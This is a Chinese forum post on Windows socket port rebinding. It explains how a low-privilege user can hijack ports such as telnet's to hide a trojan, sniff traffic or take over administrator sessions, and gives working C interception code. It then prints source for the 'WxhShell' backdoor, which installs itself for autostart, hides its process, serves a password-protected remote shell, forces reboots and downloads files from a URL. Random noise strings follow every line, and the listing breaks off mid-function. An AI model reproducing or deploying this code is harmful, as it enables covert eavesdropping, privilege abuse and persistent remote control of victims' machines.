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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M%P:n/j  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); aj{Y\ 3L  
m~0/&RA  
  saddr.sin_family = AF_INET; $B5aje}i  
r52gn(,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); w+u3*/Zf  
-X2Buz8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |t#)~Oo  
I:1C8*/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [/41% B2  
/"Uqa,{  
  这意味着什么?意味着可以进行如下的攻击: R8Fv{7]c  
#?- wm  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Q sCheHP  
B*Dz{a^.:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $5%SNzzl  
;+ hH  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 jasy<IqT!{  
k=T\\]KxC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?J >  
)=_,O=z$K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6q.Uhe_B  
d S V8q ,D  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 MeZf*' J  
F0Yd@Lk$_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 dJNe+ MB`  
<$Yd0hxjU  
  #include Ry6@VQ"NLb  
  #include {8bSB.?R  
  #include ^>v+( z5R  
  #include    f\L0 xJ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B>P{A7Q  
  int main() DT&@^$?  
  { t&e{_|i#+  
  WORD wVersionRequested; }a(dyr`S  
  DWORD ret; <bEbweQrgm  
  WSADATA wsaData; m G YoM  
  BOOL val; R%[ c;i  
  SOCKADDR_IN saddr; ,/|T-Ka  
  SOCKADDR_IN scaddr; #5o(h+w)  
  int err; QD]6C2j*  
  SOCKET s; ]Gq !`O1  
  SOCKET sc; ml }{|Yz  
  int caddsize; z9Rp`z&`E  
  HANDLE mt; 1\I}2;  
  DWORD tid;   oj+hQ+>  
  wVersionRequested = MAKEWORD( 2, 2 ); 8VXH+5's  
  err = WSAStartup( wVersionRequested, &wsaData ); p9{mS7R9T  
  if ( err != 0 ) { O)r4?<Q  
  printf("error!WSAStartup failed!\n"); 28d'7El$  
  return -1; =]0&i]z[.  
  } yEE*B:  
  saddr.sin_family = AF_INET; i?^L/b`H  
   R~ q]JSIC@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 g{&ui.ml&  
:,6\"y-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); uJ v-4H  
  saddr.sin_port = htons(23);  H6/$d  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u.xnOcOH!  
  { s?L  
  printf("error!socket failed!\n"); B:'US&6Lf'  
  return -1; ,r\o}E2  
  } 40m-ch6Q  
  val = TRUE; Y`a3tO=Pd  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {F.[&/A  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ye5&)d"fa(  
  { E$p+}sP(C  
  printf("error!setsockopt failed!\n"); 9~[Y-cpoi  
  return -1; I9ep`X6Y  
  } &gx%b*;`L0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ER.}CM6{[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k@W1-D?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 U&p${IcEm  
nb%6X82Q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [MY|T<q  
  { aAUvlb  
  ret=GetLastError(); =Jb>x#Y  
  printf("error!bind failed!\n"); %n9aaoD  
  return -1; RPRBmb940  
  } Z/+#pWBI!  
  listen(s,2); 6(ol1 (U  
  while(1) oYH-wQj  
  { JZyAXm%  
  caddsize = sizeof(scaddr); $*fMR,~t&  
  //接受连接请求 |@4' <4t  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7hPY_W y  
  if(sc!=INVALID_SOCKET) zy }$i?  
  { sd|).;s}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1p=]hC  
  if(mt==NULL) +QJ#2~pE  
  { eehb1L2(b  
  printf("Thread Creat Failed!\n"); 5$C-9  
  break; T9   
  } U-M>=3|N  
  } +52{-a,>  
  CloseHandle(mt); -nV9:opD  
  } {_v#~595  
  closesocket(s); pFjK}J OF  
  WSACleanup(); *J`O"a  
  return 0; ZPYS$Ydy  
  }   9x =Y^',5  
  DWORD WINAPI ClientThread(LPVOID lpParam) Xc&9Glf  
  { Qzw;i8n{  
  SOCKET ss = (SOCKET)lpParam; /mzlH  
  SOCKET sc; NTs aW}g  
  unsigned char buf[4096]; Z(CkZll  
  SOCKADDR_IN saddr; "=MeM)K  
  long num; e$rZ5X  
  DWORD val; b d!Y\OD  
  DWORD ret; t*w/{|yO  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7-fb.V9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \,0oX!<YY  
  saddr.sin_family = AF_INET; ncT&Gr   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `e}B2;$A3  
  saddr.sin_port = htons(23); K]w'&Qm8W  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "3Y0`&:D  
  { ey$&;1x#5  
  printf("error!socket failed!\n"); ab?aQ*$+  
  return -1; z<' u1l3  
  } 4BpZJ~(p  
  val = 100; 7 HYwLG:\~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @f3E`8  
  { :Zw2'IV  
  ret = GetLastError(); AH~E)S  
  return -1; R.<g3"Lm>  
  }  rjnrju+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e$Pj.>-<=  
  { mQ"-,mMI  
  ret = GetLastError(); pOoEI+t  
  return -1; DZtsy!xA  
  }  _6vW F  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) dG?*y  
  { ]3Sp W{=^(  
  printf("error!socket connect failed!\n"); q'Pf]  
  closesocket(sc); 7;@]t^d=$  
  closesocket(ss); 8zW2zkv2|#  
  return -1; +9sQZB# (  
  } [j+sC*  
  while(1) l9Q- iJ  
  { ~})e?q;b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (X*^dO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 M kXmA`cP  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Y(Hs#Kn{  
  num = recv(ss,buf,4096,0); 0?|<I{z2  
  if(num>0) *.w 9c  
  send(sc,buf,num,0); Z6MO^_m2  
  else if(num==0) O+x!Bg7   
  break; +X 88;-  
  num = recv(sc,buf,4096,0); yyTnL 2Y9  
  if(num>0) /PXzwP_(A  
  send(ss,buf,num,0); G7/ +ogV  
  else if(num==0) 2&J)dtqz  
  break; {Ou1KDy#)  
  } mgU<htMr1  
  closesocket(ss); 5L}/&^E#p  
  closesocket(sc); W=+ Y|R!  
  return 0 ; b4Ekqas  
  } 6[AL|d DK  
KLk~Y0$:v  
[AJJSd/:  
========================================================== nQ3A~ ()  
:e+jU5;]3  
下边附上一个代码,,WXhSHELL 42ge3>  
,64 -1!  
========================================================== w7&A0M  
k$:|-_(w  
#include "stdafx.h" t4-[Z$ n5  
)NT*bLRPQ  
#include <stdio.h> (A.C]hD  
#include <string.h> {R{=+2K!|k  
#include <windows.h> _Y m2/3!  
#include <winsock2.h> ]A_`0"m.U  
#include <winsvc.h> j3ls3H&  
#include <urlmon.h> 0jWVp- y  
4E}Yt$|  
#pragma comment (lib, "Ws2_32.lib") -m#)B~)  
#pragma comment (lib, "urlmon.lib") HTTC TR  
lPAQ3t!,  
#define MAX_USER   100 // 最大客户端连接数 SSzIih@u  
#define BUF_SOCK   200 // sock buffer :\_ 5oVb  
#define KEY_BUFF   255 // 输入 buffer Qn2&nD%zi  
buHJB*?9  
#define REBOOT     0   // 重启 $3kH~3{]  
#define SHUTDOWN   1   // 关机 j.= 1rwPt  
<9b &<K:  
#define DEF_PORT   5000 // 监听端口 es0hm2HT3  
V>3X\)qu  
#define REG_LEN     16   // 注册表键长度 XQw9~$  
#define SVC_LEN     80   // NT服务名长度 )0k53-h&  
}c:M^Ff  
// 从dll定义API 3Tm+g2w2V8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [()koU#w.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uCB=u[]y4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |k00Z+O(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z\4.Gm-  
`uTmw^pZX  
// wxhshell配置信息 1G`Pmh@  
struct WSCFG { f* wx<  
  int ws_port;         // 监听端口 fI|$K )K  
  char ws_passstr[REG_LEN]; // 口令 +LJ73 !  
  int ws_autoins;       // 安装标记, 1=yes 0=no bW+:C5'  
  char ws_regname[REG_LEN]; // 注册表键名 L-&\\{ X  
  char ws_svcname[REG_LEN]; // 服务名 _,*r_D61S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &uVnZ@o42  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h Xya*#n#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iK;XZZ(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w&.a QGR#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M D#jj3y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h;'~,xA  
0b 54fD=  
}; #T"4RrR  
:Llb< MY2  
// default Wxhshell configuration 3PF_H$`oJ  
struct WSCFG wscfg={DEF_PORT, 0PCGDLk8  
    "xuhuanlingzhe", \z)%$#I  
    1, B`sAk %  
    "Wxhshell", ?gXp*>Kg[  
    "Wxhshell", MnHNjsO#  
            "WxhShell Service", ue>D 7\8  
    "Wrsky Windows CmdShell Service", /g.U&oI]D  
    "Please Input Your Password: ", .fs3>@T"#  
  1, 7uk[Oy<_  
  "http://www.wrsky.com/wxhshell.exe", UC$ppTCc?  
  "Wxhshell.exe" yWf`rF{  
    }; zKK9r~ M  
b~cZS[S  
// 消息定义模块 D)}v@je"yP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IAyp2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V]?R>qhgu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l}P=/#</T  
char *msg_ws_ext="\n\rExit."; Zb#u0Tq  
char *msg_ws_end="\n\rQuit."; 3__-nV  
char *msg_ws_boot="\n\rReboot..."; /zox$p$?h  
char *msg_ws_poff="\n\rShutdown..."; ` G kX  
char *msg_ws_down="\n\rSave to "; lmhLM. 2  
2 ? 4!K.  
char *msg_ws_err="\n\rErr!"; \}G^\p6?M  
char *msg_ws_ok="\n\rOK!"; .A|@?p[  
>.D4co>  
char ExeFile[MAX_PATH]; u]G\H!Wk Q  
int nUser = 0; 3iU=c&P  
HANDLE handles[MAX_USER]; 2>59q$ |  
int OsIsNt; O33 `+UV"W  
^kSqsT"  
SERVICE_STATUS       serviceStatus; %]7d`/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2t1ZIyv3 D  
Kf-JcBsrT  
// 函数声明 7x8  yxE  
int Install(void); |&4/n6;P$0  
int Uninstall(void); Y|/ 8up  
int DownloadFile(char *sURL, SOCKET wsh); VS|2|n1<6  
int Boot(int flag); DIUjn;>k8  
void HideProc(void); J,6yYIq  
int GetOsVer(void); HOJV,9v N  
int Wxhshell(SOCKET wsl); :MDKC /mC  
void TalkWithClient(void *cs); @KUWxFak  
int CmdShell(SOCKET sock); =WJ NWt>  
int StartFromService(void); EBmt9S  
int StartWxhshell(LPSTR lpCmdLine); nT)vNWT=  
8JUwf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iam1V)V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); LXCx~;{\  
{7pli{`  
// 数据结构和表定义 D3K8F@d  
SERVICE_TABLE_ENTRY DispatchTable[] = ~bpgSP"  
{ r@,2E6xn  
{wscfg.ws_svcname, NTServiceMain}, ]]Ufas9  
{NULL, NULL} i{qgn%#}Y  
}; 9o!Bzy+_  
x$(f7?s] 1  
// 自我安装 8a"%0d#  
int Install(void) xe$_aBU  
{ 6d~'$<5on  
  char svExeFile[MAX_PATH]; n._-! WI  
  HKEY key; N4HqLh23H  
  strcpy(svExeFile,ExeFile); ?Ss!e$jf  
Z$? #  
// 如果是win9x系统,修改注册表设为自启动 ^d73Ig:8q  
if(!OsIsNt) { HkVB80hv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Jfl!#UAD|n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6-ils3&  
  RegCloseKey(key); uXl3k:_n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { An/|+r\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3irl (;v  
  RegCloseKey(key); AkiDL=;w  
  return 0; .5{ab\_af  
    } =H]@n|$(  
  } 2I{"XB  
} Oa>Ppldeg  
else { caX< n>  
h!9ei6  
// 如果是NT以上系统,安装为系统服务 ygl0k \  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }l9llu   
if (schSCManager!=0) T&7qC=E#5  
{ |(^PS8wG  
  SC_HANDLE schService = CreateService 11;zNjD|  
  ( IO:G1;[/2L  
  schSCManager, FML(4BY,  
  wscfg.ws_svcname, Wh{tZ~c  
  wscfg.ws_svcdisp, %e} Saf  
  SERVICE_ALL_ACCESS, bi;1s'Y<D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g< .qUBPKX  
  SERVICE_AUTO_START, 13/]DF,S"^  
  SERVICE_ERROR_NORMAL, P{^6v=8)  
  svExeFile, C+&l< fM&  
  NULL, Eu04e N  
  NULL, seeB S/%  
  NULL, ZqO^f*F>h  
  NULL, 18:%~>.!  
  NULL 0+b1vhQ  
  ); #C@FYO f*  
  if (schService!=0) ,5<Cd,`*  
  { )@bQu~Y  
  CloseServiceHandle(schService); 3"\lu?-E  
  CloseServiceHandle(schSCManager); Pj% |\kbNs  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |#N&akC  
  strcat(svExeFile,wscfg.ws_svcname); \Y}8S/]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mpJ#:}n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x ]ot 2  
  RegCloseKey(key); @"H >niG  
  return 0; "" ZQ/t\  
    } Aq7osU1B  
  } @7n"yp*"  
  CloseServiceHandle(schSCManager); j"Pv0tehw  
} r" ,GC]  
} sCHJ&>m5-  
"C`Ub  
return 1; [}]Q?*_  
} S>1Iky|  
-A!%*9Z  
// 自我卸载 7Hu3>4<  
int Uninstall(void) J5jvouR  
{ K", N!koj  
  HKEY key; r]36z X v  
k"w"hg&e  
if(!OsIsNt) { v/=}B(TDF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ooy7*W';  
  RegDeleteValue(key,wscfg.ws_regname); jo@J}`\Zt  
  RegCloseKey(key); jW@Uo=I[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *-p}z@8  
  RegDeleteValue(key,wscfg.ws_regname); Mf``_=K  
  RegCloseKey(key); 8)I^ t81  
  return 0; H$4:lH&(  
  } @f_+=}|dc  
} [ !OxZ!  
} |ZBI *  
else { #Mw8^FST  
"snw4if  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W5MTD]J   
if (schSCManager!=0) Q]>.b%s[  
{ 1&Zj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~&bq0 (  
  if (schService!=0) 12LL48bi  
  { czd~8WgOa  
  if(DeleteService(schService)!=0) { u;c?d!E  
  CloseServiceHandle(schService); h'F=YF$o  
  CloseServiceHandle(schSCManager); | Xy6PN8  
  return 0; Z?QC!bWb  
  } =rX>.P%Q5  
  CloseServiceHandle(schService); #;nYg?d=  
  } '`KY! ]L  
  CloseServiceHandle(schSCManager); XpJ7o=?W3  
} M/K5#8Arj  
} Q'0d~6n&{  
6NHX2Ja  
return 1; &.?'i1!  
} n.(FQx.F  
@MCg%Afw  
// 从指定url下载文件 g}',(tPMZ  
int DownloadFile(char *sURL, SOCKET wsh) C~iL3C b  
{ Dm<A ^u8  
  HRESULT hr; n6a`;0f[R  
char seps[]= "/"; kW&TJP+5*  
char *token; [IhYh<i  
char *file; pIX`MlBdF  
char myURL[MAX_PATH]; ?(i{y~  
char myFILE[MAX_PATH]; *!7 O~yQ  
d-dEQKI?;  
strcpy(myURL,sURL); ?.;c$'  
  token=strtok(myURL,seps); e**qF=HCw  
  while(token!=NULL) [HZv8HU|  
  { 6,{$J  
    file=token; 0KOgw*>_  
  token=strtok(NULL,seps); /s}} &u/  
  } G<v&4/\p`M  
~M4;  
GetCurrentDirectory(MAX_PATH,myFILE); ,nDaqQ-C!!  
strcat(myFILE, "\\"); "1 M[5\Ax  
strcat(myFILE, file); B_m8{44zM  
  send(wsh,myFILE,strlen(myFILE),0); NHZz _a=  
send(wsh,"...",3,0); 9mTJ|sN:e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hZ  
  if(hr==S_OK) ;MdlwQ$`  
return 0; dNeVo|Y~h  
else WEi2=3dV  
return 1; @2 fg~2M1  
E09 :E  
} iAIuxO  
G*P#]eO  
// 系统电源模块 ^3L0w}#  
int Boot(int flag) 7E~;xn;  
{ fS78>*K  
  HANDLE hToken; IB] l1<  
  TOKEN_PRIVILEGES tkp; j+  0I-p  
VS8Rx.?  
  if(OsIsNt) { ]-/VHh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?2Py_gkf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -C?ZB}`   
    tkp.PrivilegeCount = 1; L0WN\|D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XuM'_FN`A<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2!=f hN  
if(flag==REBOOT) { *YuF0Yt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9m~p0ILh  
  return 0; 7! INkH]  
} 5taT5?n2  
else { {[?(9u7R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1NA.nw.  
  return 0; J]pir4&j  
} N U`  
  } 6gu!bu`~  
  else { CdjI`  
if(flag==REBOOT) { lchPpm9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sN01rtB(UT  
  return 0; 6zuTQ^pz  
} ou{2@"  
else { % ^1V4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <1${1A <Wa  
  return 0; [j/9neaye  
} N~zdWnSZ@G  
} #fn)k1  
6fEqqUeV  
return 1; @O^6&\s>  
} dE{dZ#Jfi  
]Ntmy;Q   
// win9x进程隐藏模块 jkF^-Up.  
void HideProc(void) =R$u[~Xl2X  
{ @>Km_Ax  
VY=jc~c]v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h^(* Tv-!  
  if ( hKernel != NULL ) dn$!&  
  { z/2//mM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A0 C,tVd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3eAX.z`D  
    FreeLibrary(hKernel); 6) [H?Q  
  } XrGglBIV  
V#gK$uv  
return; gu.}M:u  
} eiaFaYe\  
XW)lDiJl  
// 获取操作系统版本 o~y;j75{.*  
int GetOsVer(void) c2 C8g1n  
{ 2B&3TLO  
  OSVERSIONINFO winfo; 4*cEag   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w;:*P  
  GetVersionEx(&winfo); ,G?WAOy,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lE(HFal0-(  
  return 1; /dI&o,sA  
  else (m(JK^  
  return 0; T;a}#56{^  
} ~H<6gN<j(.  
+.b,AqJ/  
// 客户端句柄模块 .2Elr(&*h  
int Wxhshell(SOCKET wsl) yEoF4bt  
{ Ww+IWW@  
  SOCKET wsh; Ad9}9!<  
  struct sockaddr_in client; x,pjpx  
  DWORD myID; l'E*=Rn  
paE[rS\  
  while(nUser<MAX_USER) 3J|F?M"N7  
{ }?_?V&K|  
  int nSize=sizeof(client); qv KG-|j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z3m85F%dR  
  if(wsh==INVALID_SOCKET) return 1; u?<%q!  
yfjWbW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z4w!p?Wqa  
if(handles[nUser]==0) j[G  
  closesocket(wsh); `V)8 QRN(  
else +`3)oPV)  
  nUser++; `w7v*h|P  
  } Ma']?Rb`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S3*`jF>q  
pG^  
  return 0; m6\E$;`  
} ~#[yJNYQ  
.K2qXw"S#  
// 关闭 socket n&qg;TT  
void CloseIt(SOCKET wsh) ;LPfXpR  
{ ^Hnb }L  
closesocket(wsh); CMG&7(MR  
nUser--; #3@rS  
ExitThread(0); S8wLmd>  
} N&+x+;Kx  
$)ijN^hV  
// 客户端请求句柄 U175{N%3  
void TalkWithClient(void *cs) c&?m>2^6  
{ /}fHt^2H  
{{D)YldtA  
  SOCKET wsh=(SOCKET)cs; *-=(Q`3  
  char pwd[SVC_LEN]; mt+Oi70  
  char cmd[KEY_BUFF]; 7yH"l9Z  
char chr[1]; }1c|gQ  
int i,j; PI:4m%[  
e L^ |v  
  while (nUser < MAX_USER) { )D5"ap]fX  
t?-n*9,#S  
if(wscfg.ws_passstr) { BB!THj69a6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j<99FW"@e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fo#fg8zX%  
  //ZeroMemory(pwd,KEY_BUFF); BxWPC#5  
      i=0; 2Aazy'/  
  while(i<SVC_LEN) { ~Z?TFg  
j@U]'5EVB  
  // 设置超时 ^Y>F|;M#  
  fd_set FdRead; Vvn2 Ep  
  struct timeval TimeOut; 2~1SQ.Q<RY  
  FD_ZERO(&FdRead); ll<Xz((o  
  FD_SET(wsh,&FdRead); ^w@%cVh  
  TimeOut.tv_sec=8; *yt=_Q  
  TimeOut.tv_usec=0; 0KcyLAJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F|o:W75  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j_!F*yul  
7{)G_?Q&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9Zt`u,;  
  pwd=chr[0]; 5j<mbt}  
  if(chr[0]==0xd || chr[0]==0xa) { :uq\+(9  
  pwd=0; ,]ma+(|  
  break; tqvN0vY5  
  } D9 CaFu  
  i++; {W =%U|f  
    } u~M q*  
Pw7]r<Q  
  // 如果是非法用户,关闭 socket Q_Q''j(r6b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ['X]R:3h  
} F3v !AvA|  
0neoE E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Qcq`libK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nJG U-Z  
b8`)y<7  
while(1) { &I+5  
3LJ+v5T~  
  ZeroMemory(cmd,KEY_BUFF); MSQEO4ge  
VgG0VM  
      // 自动支持客户端 telnet标准   /og=IF2:  
  j=0; nA-.mWD_C  
  while(j<KEY_BUFF) { @;zl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \ =?a/  
  cmd[j]=chr[0]; _(W+S`7Z  
  if(chr[0]==0xa || chr[0]==0xd) { \}u Y'F  
  cmd[j]=0; 7 S#J>*  
  break; UqFO|r"M  
  } LEbB(x;@  
  j++; R[h9"0Y^  
    } @w#-aGJO  
q1$N>;&  
  // 下载文件 JIEK*ui  
  if(strstr(cmd,"http://")) { f}#~-.NGs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c@!_ /0  
  if(DownloadFile(cmd,wsh)) $Uq|w[LA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :t"^6xt  
  else ^e2VE_8L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xy|So|/bKd  
  } F'={q{2wH  
  else { Xk~D$~4<  
M)J5;^["  
    switch(cmd[0]) { RVnjNy;O`  
  iW]j9}t  
  // 帮助 v}}F,c(f  
  case '?': { 7Utn\l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b$d;Qx  
    break; '%s.^kn  
  }  acajHs  
  // 安装 [i21FX  
  case 'i': { `quw9j9`C\  
    if(Install()) L:KF_W.I+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *)$Uvw E  
    else >a!/QMh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m)ky*"(  
    break; 59LZv-l  
    } )al]*[lY  
  // 卸载 VZp5)-!\  
  case 'r': { !_]Y~[  
    if(Uninstall()) O@T9x$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [N-Di"  
    else e&|'I"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @ wGPqg  
    break; SB;&GHq"n  
    } G, }Yl  
  // 显示 wxhshell 所在路径 }/0X'o  
  case 'p': { \#2Z)Kz  
    char svExeFile[MAX_PATH]; j"t(0 m  
    strcpy(svExeFile,"\n\r"); WrnrFz  
      strcat(svExeFile,ExeFile); ^H p; .f.  
        send(wsh,svExeFile,strlen(svExeFile),0); @N>\|!1CC  
    break; *<$*"p  
    } SXSgld2uS  
  // 重启 I13y6= d  
  case 'b': { a=|K%ii+Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j2t7'bO_  
    if(Boot(REBOOT)) }kw#7m54  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @+&LYy72  
    else { x 77*c._3v  
    closesocket(wsh); !{+,B5 Hc  
    ExitThread(0); t >L2  
    } sNbxI|B  
    break; JinUV6cr  
    } \0^Kram>  
